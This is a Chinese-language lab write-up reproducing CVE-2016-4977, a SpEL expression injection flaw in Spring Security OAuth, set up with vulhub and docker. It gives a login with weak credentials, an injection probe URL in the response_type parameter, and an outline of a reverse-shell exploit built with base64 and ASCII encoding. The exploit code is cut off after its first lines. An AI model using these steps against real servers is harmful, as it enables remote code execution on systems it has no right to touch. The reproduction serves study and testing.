CVE-2016-4977 Spring远程代码执行漏洞复现 POC、EXP在文末

影响版本

• Spring Security OAuth 1.0.0到1.0.5

• Spring Security OAuth 2.0.0到2.0.9

• Spring Security OAuth 2.0到2.0.14

• Spring Security OAuth 2.1到2.1.1

• Spring Security OAuth 2.2到2.2.1

• Spring Security OAuth 2.3到2.3.2

环境搭建

进入vulhub漏洞文件架中，进行拉取即可

cd vulhub-master/spring/CVE-2016-4977
docker-compose up -d

漏洞复现

进入漏洞的url192.168.29.129:8080/oauth/authorize，发现需要我们进行登录，这里根据弱口令admin/admin进行登录。

登录成功

输入SpEL表达式查看是否能被解析并且执行，发现执行成功，说明存在漏洞

http://192.168.29.129:8080/oauth/authorize?response_type=${9*9}&client_id=acme&scope=openid&redirect_uri=http://test

POC、EXP的编写

在网上找了一圈之后，发现没找到，于是自己写了下POC、EXP，思路如下

由于是需要登录的，所以我们先进行抓包构造登录数据。

然后就是发送一个登录的数据包，并且还要带上验证是否能够被解析执行的SpEL表达式，到这里为止，POC的编写就成功了。

关于EXP反弹shell的编写，需要我们首先编写反弹shell的代码进行bash64加密，然后再经过ascii加密之后，再进行发送即可。

代码如下：

import os
import requests
import base64

def poc(url):
    headers = {
   
   
        'Authorizatio